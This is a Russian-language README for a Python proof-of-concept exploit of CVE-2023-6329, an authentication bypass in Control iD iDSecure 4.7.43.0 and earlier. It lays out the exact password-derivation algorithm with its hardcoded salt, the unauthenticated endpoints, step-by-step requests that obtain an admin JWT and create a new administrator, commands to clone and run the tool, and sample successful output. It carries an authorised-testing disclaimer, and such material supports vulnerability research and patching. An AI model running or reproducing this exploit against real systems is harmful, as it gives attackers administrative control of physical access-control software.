
CVE-2023-6329 – PoC обхода аутентификации для Control iD iDSecure ≤ 4.7.43.0
Эксплойт на Python (Proof-of-Concept) для уязвимости CVE-2023-6329 — ошибка контроля доступа в Control iD iDSecure версий 4.7.43.0 и ниже. Недостаток позволяет неаутентифицированному удаленному злоумышленнику восстановить валидные учетные данные, используя предсказуемый алгоритм генерации пароля, который полностью опирается на общедоступные значения: серийный номер устройства, nonce от сервера и жестко заданную соль. После аутентификации злоумышленник может создать нового администратора в веб-интерфейсе.
Портирован на Python на основе оригинального модуля Metasploit от Michael Heinzl. Оригинальная уязвимость обнаружена и раскрыта компанией Tenable.
Отказ от ответственности: Данный инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Автор не несет ответственности за неправомерное использование. Запускайте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
Процедура входа в iDS-Core.dll предоставляет альтернативный путь аутентификации через параметр passwordCustom. Значение этого параметра вычисляется с помощью предсказуемого алгоритма, который использует серийный номер устройства (общедоступный без аутентификации) в сочетании с предоставленным вызывающим nonce и жестко заданной строкой соли (cid2016). Поскольку каждый компонент вычислений либо контролируется атакующим, либо свободно доступен, любой удаленный злоумышленник может вычислить валидное значение passwordCustom и войти в систему как администратор.
При успешной аутентификации через этот путь сервер сбрасывает пароль учетной записи admin на admin или создает такую учетную запись, если она еще не существует.
Эксплойт состоит из пяти шагов:
1. Проверка версии — Конечная точка /api/util/configUI возвращает ответ 401, содержащий версию ПО, что позволяет убедиться, что цель использует уязвимую сборку.
2. Получение данных для разблокировки — GET-запрос к /api/login/unlockGetData возвращает serial (серийный номер) устройства и nonce passwordRandom. Для этой конечной точки аутентификация не требуется.
3. Вычисление passwordCustom — Применяется следующий алгоритм для получения обходного учетного данных:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # первые 6 шестнадцатеричных символов → десятичное
4. Аутентификация и получение JWT — Вычисленные passwordCustom и passwordRandom отправляются POST-запросом на /api/login/, который возвращает валидный JWT accessToken с правами администратора.
5. Создание нового администратора — Используя JWT, выполняется POST-запрос к /api/operator/ для регистрации нового оператора с idType: 1 (роль администратора).
requestsgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <ЦЕЛЕВОЙ_IP> [опции]
Базовое использование против цели на порту по умолчанию:
python3 exploit.py --host 192.168.1.100
Указание собственных учетных данных для новой учетной записи администратора:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
Цель, работающая на нестандартном порту без SSL:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Цель: https://192.168.1.100:30443
============================================================
[*] Версия цели: 4.7.32.0
[+] Цель, похоже, УЯЗВИМА.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Вычислен passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Пользователь 'ctfadmin' успешно создан.
[+] Проверено! Новые учетные данные работают.
[+] Вход по адресу: https://192.168.1.100:30443/#/login
Имя пользователя : ctfadmin
Пароль : S3cr3tPass!
| Поле | Детали |
|---|
| CVE ID | CVE-2023-6329 |
| Затронутый продукт | Control iD iDSecure |
| Затронутые версии | ≤ 4.7.43.0 |
| Тип уязвимости | Неправильный контроль доступа (CWE-284) |
| Вектор атаки | Сеть (без аутентификации) |
| Дата раскрытия | 27 ноября 2023 |
| Обнаружено | Tenable |
| Аргумент | По умолчанию | Описание |
|---|
--host | (обязательно) | IP-адрес или имя хоста цели |
--port | 30443 | Порт цели |
--username | pwned_admin | Имя пользователя для новой учетной записи администратора |
--password | Pwned1234! | Пароль для новой учетной записи администратора |
--no-ssl | False | Отключить HTTPS (использовать обычный HTTP) |